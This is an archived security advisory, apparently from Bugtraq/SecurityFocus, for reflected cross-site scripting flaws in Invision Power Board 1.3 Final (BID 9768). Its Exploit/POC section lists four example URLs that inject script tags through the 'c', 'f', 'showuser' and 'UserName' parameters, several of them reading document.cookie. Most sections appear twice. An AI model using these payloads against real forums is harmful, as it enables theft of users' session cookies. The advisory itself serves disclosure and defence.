Invision Power Board Multiple Cross-Site Scripting Vulnerabilities
BID:9768
Info
Invision Power Board Multiple Cross-Site Scripting Vulnerabilities
| Bugtraq ID: | 9768 |
| Class: | Input Validation Error |
| CVE: |
CVE-2004-0359 CVE-2002-0398 |
| Remote: | Yes |
| Local: | No |
| Published: | Mar 01 2004 12:00AM |
| Updated: | Jul 12 2009 03:06AM |
| Credit: | Discovery of these issues is credited to "Rafel Ivgi, The-Insider" <[email protected]>. |
| Vulnerable: |
Invision Power Services Invision Board 1.3 Final |
| Not Vulnerable: | |
Discussion
Invision Power Board Multiple Cross-Site Scripting Vulnerabilities
Invision Power Board is prone to multiple cross-site scripting vulnerabilities.
These issues are due to insufficient sanitization of input supplied via the 'c', 'f', , 'showuser', and 'username' URI parameters. This input will be included in dynamically generated pages, making it possible for an attacker to create a malicious link to a vulnerable site that includes hostile HTML and script code. This code may be rendered in the browser of a victim user who visits the malicious link, potentially allowing for theft of cookie-based credentials or other attacks.
These issues are reported to affect Invision Power Board 1.3 Final. Earlier versions may also be affected.
Invision Power Board is prone to multiple cross-site scripting vulnerabilities.
These issues are due to insufficient sanitization of input supplied via the 'c', 'f', , 'showuser', and 'username' URI parameters. This input will be included in dynamically generated pages, making it possible for an attacker to create a malicious link to a vulnerable site that includes hostile HTML and script code. This code may be rendered in the browser of a victim user who visits the malicious link, potentially allowing for theft of cookie-based credentials or other attacks.
These issues are reported to affect Invision Power Board 1.3 Final. Earlier versions may also be affected.
Exploit / POC
Invision Power Board Multiple Cross-Site Scripting Vulnerabilities
The following examples were submitted:
http://www.example.com/?c='><script>alert(window.document.url)</script><plaintext>
http://www.example.com/?act=SR&f='><script>alert(document.cookie)</script>
http://www.example.com/?showuser='><script>alert(document.cookie)</script>
http://www.example.com/index.php?act=Reg&CODE=2&coppa_user=0&UserName='><script>alert
(document.cookie)</script>
The following examples were submitted:
http://www.example.com/?c='><script>alert(window.document.url)</script><plaintext>
http://www.example.com/?act=SR&f='><script>alert(document.cookie)</script>
http://www.example.com/?showuser='><script>alert(document.cookie)</script>
http://www.example.com/index.php?act=Reg&CODE=2&coppa_user=0&UserName='><script>alert
(document.cookie)</script>
Solution / Fix
Invision Power Board Multiple Cross-Site Scripting Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Invision Power Board Multiple Cross-Site Scripting Vulnerabilities
References:
References:
- Invision Board Homepage (Invision Power Services)